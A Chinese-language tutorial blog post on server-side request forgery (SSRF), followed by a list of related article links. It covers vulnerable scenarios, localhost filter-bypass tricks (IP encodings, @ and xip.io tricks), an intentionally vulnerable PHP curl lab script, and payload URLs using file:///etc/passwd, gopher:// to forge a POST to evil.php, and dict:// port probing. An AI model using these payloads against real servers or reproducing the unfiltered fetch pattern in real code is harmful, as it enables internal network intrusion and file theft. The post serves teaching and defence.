SSRF服务器端请求伪造
SSRF服务器端请求伪造
SSRF
服务端请求伪造漏洞,也称为XSPA
跨站端口攻击,是一种由攻击者构造一定的利用代码导致服务端发起漏洞利用请求的安全漏洞,一般情况下SSRF
攻击的应用是无法通过外网访问的,所以需要借助目标服务端进行发起,目标服务器可以链接内网和外网,攻击者便可以通过目标主机攻击内网应用。
描述
SSRF
是利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制,通常攻击者通过伪造服务器请求与内网进行交互,从而达到探测内网,对内网进行攻击的目的,通常与多种攻击方式相结合。服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似,例如处在域中的浏览器可作为攻击者的代理。
在一些情况下由于业务需要,服务端程序需要从其他服务器应用中获取数据,例如获取图片、数据等,但是由于服务器没有对其请求的目标地址做过滤和限制,导致黑客可以利用此缺陷请求任意服务器资源,其中就包含隐匿在内网的应用。很多情况下认为服务器在内网不会受到黑客攻击,便放任漏洞不管,不做补丁修复和版本升级,弱口令遍布内网,在SSRF
漏洞面前这些漏洞都会造成很大危害。SSRF
漏洞一般为HTTP/HTTPS
方式出现,但类似TCP Connect
方式也可以探测内网的IP活跃状态和端口的开放情况,但此类危害较小。
SSRF漏洞易出现的场景
能够对外发起网络请求的地方,就可能存在SSRF
漏洞。
- 从远程服务器请求资源
Upload from URL,Import & Export RSS Feed
。 - 数据库内置功能
Oracle、MongoDB、MSSQL、Postgres、CouchDB
。 Webmail
收取其他邮箱邮件POP3、IMAP、SMTP
。- 文件处理、编码处理、属性信息处理
ffmpeg、ImageMagic、DOCX、PDF、XML
。 - 通过
URL
地址分享页面。 - 未公开的
api
实现以及其他调用URL
的功能。
SSRF漏洞的利用
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的
banner
信息。 - 攻击运行在内网或本地的应用程序,比如溢出。
- 对内网
web
应用进行指纹识别,通过访问默认文件实现。 - 攻击内外网的
web
应用,主要是使用GET
参数就可以实现的攻击,比如Struts2
、sqli
等。 - 利用
file
协议读取本地文件等。
绕过方式
攻击本机
http://127.0.0.1:80
http://localhost:22
利用@绕过
http://example.com@127.0.0.1
# 这里的example.com可以任意替换,
利用短地址绕过
http://127.0.0.1可以变为http://suo.im/5UHEvD
# 转换地址有很多,可以采用http://tool.chinaz.com/tools/dwz.aspx
特殊域名绕过
http://127.0.0.1.xip.io/
http://www.margin.com.127.0.0.1.xip.io/
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
利用句号代替点绕过
127.0.0.1 变为127。0。0。1
使用其他进制绕过
127.0.0.1
8进制格式:0177.0.0.1
16进制格式:0x7F.0.0.1
10进制整数格式:2130706433(转16进制,再转10进制)
16进制整数格式:0x7F000001
还有一种特殊的省略模式,例如127.0.0.1这个IP可以写成127.1、10.0.0.1这个IP可以写成10.1
特殊域名绕过
DNS解析
http://127.0.0.1.xip.io/
# 会解析到本地的127.0.0.1
实验靶机示例
使用PHP
构建靶机作为示例,编写如下代码test.php
,实际上避免这类攻击的重要原则就是过滤用户输入即永远不要相信用户的输入。
<?php
// 创建一个新curl资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
file协议的运用
在上述示例中发起一个GET
请求便可以获取敏感文件的信息。
http://192.168.163.150/test.php?url=file:///etc/passwd
gopher协议的运用
gopher
协议是比http
协议更早出现的协议,现在已经不常用了,但是在SSRF
漏洞利用中gopher
可以说是万金油,因为可以使用gopher
发送各种格式的请求包,这样变可以解决漏洞点不在GET
参数的问题了。
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>
。
进行如下请求可以发送一个POST
请求,且参数cmd
的值为balabal
,这里构造gopher
请求的时候,回车换行符号要进行2
次url
编码%250d%250a
。
http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST%20/evil.php%20HTTP/1.1%250d%250aHost:%20192.168.163.1%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=balabala
dict协议应用
dict
协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF
中如果可以使用dict
协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。
http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info
每日一题
https://github.com/WindrunnerMax/EveryDay
参考
https://zhuanlan.zhihu.com/p/116039804
https://www.freebuf.com/column/157466.html
https://juejin.cn/post/6844903824948199431
https://www.cnblogs.com/bmjoker/p/9614789.html
https://blog.csdn.net/nz9611/article/details/96011013
https://zh.wikipedia.org/wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0
SSRF服务器端请求伪造相关推荐
- SSRF服务器端请求伪造漏洞基础
SSRF服务器端请求伪造漏洞基础,下面分五个专题来说 1.什么是ssrf? 2.ssrf的相关协议 3.有无回显的ssrf漏洞确认 4.ssrf如何利用? 5.ssrf漏洞的绕过 6.ssrf漏洞的加 ...
- ssrf 服务器端请求伪造 简介
SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF是要目标网站 ...
- SSRF服务器端请求伪造攻击详解
一.SSRF概述 SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种由攻击者构造请求,由服务端发起请求的安全漏洞. 其形成的原因大都是由于服务端提供了 ...
- Web安全——服务器端请求伪造(SSRF)
SSRF 概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访 ...
- Web漏洞之SSRF(服务器端请求伪造)
文章目录 一.漏洞场景 二.漏洞描述 三.漏洞原理 四.漏洞危害 五.漏洞评级 六.漏洞验证 七.漏洞利用 八.漏洞防御 一.漏洞场景 服务器会根据用户提交的URL 发送一个HTTP 请求.使用用户指 ...
- 【转】SSRF(Server-Side Request Forgery:服务器端请求伪造)
原文链接:服务端请求伪造(SSRF) - Hel10 - 博客园 0x01:服务器端请求伪造的概念 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻 ...
- SSRF(Server-Side Request Forgery):服务器端请求伪造
0X00 SSRF介绍 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外 ...
- SSRF漏洞(服务器端请求伪造)
中间人(SSRF就是中间人)攻击,服务端请求伪造,主要攻击内网,打redis和weblogic特别厉害,目标网站的内部系统(他是从内部系统访问的,所以通过它攻击外部系统无法访问的内部系统,也就是目标网 ...
- 【SSRF-01】服务器端请求伪造漏洞原理及利用实例
目录 1 基础知识 1.1 概述 1.2 原理 1.3 危害 2 SSRF漏洞利用实例 2.1 实验环境及实验前准备 2.2 SSRF漏洞的利用实例 2.2.1 正常访问 2.2.2 端口扫描-扫描内 ...
最新文章
- zabbix 4.0.3 use docker-compose deploy
- SpringMVC学习(三)——SpringMVC+Slf4j+Log4j+Logback日志集成实战分享
- android 线程锁Lock
- entitymanager_实体管理器的类型:应用程序管理的EntityManager
- flatten的用法
- RSS(Really Simple Syndication)简易信息聚合
- Kubernetes - - k8s - v1.12.3 Helm持久化部署Harbor集成OpenLDAP登录
- 接口测试质量评估标准
- bzoj3207花神的嘲讽计划Ⅰ
- 《深入理解OSGi:Equinox原理、应用与最佳实践》一2.1 OSGi规范概要
- 密码字典生成工具:crunch
- LoadRunner基础入门教程
- 【ENVI解决经验】裁剪后背景改为白色(透明)
- 本周AI热点回顾:波士顿动力机器狗去新西兰放羊了、微软WSL将支持GPU、ERNIE-GEN刷新SOTA
- win10专业版进不了安全模式 win10专业版安全模式怎么进
- 一觉醒来,欠费120万,移动程序员要被祭天了!
- 211大学中哪几所计算机专业好,北京哪些211大学计算机专业比较好考研
- 记Http connection dropped
- 如何向服务器远程传输文件,如何向服务器远程传输文件
- 安装包免费下载(持续更新ing…)
热门文章
- r语言集合补集_【高中数学必修1研读】之一“第一章 集合与函数概念”
- 30岁软件测试转产品_30岁的我脸上竟然出现皱纹了,求推荐抗衰老产品,最好是国外的...
- springboot+mybatis+mysql+dubbo整合使用
- Android 开发者的 RxJava 详解(一)
- 颜色模型和颜色应用---小结
- 常见的 HTTP 状态代码及原因
- new Class{}形式
- Delphi XE的RTTI增强,动态Hook某些内部事件
- Python第五天 文件访问 for循环访问文件 while循环访问文件 字符串的startswith函数和split函数 linecache模块...
- js获取滚动条距离浏览器顶部,底部的高度,兼容ie和firefox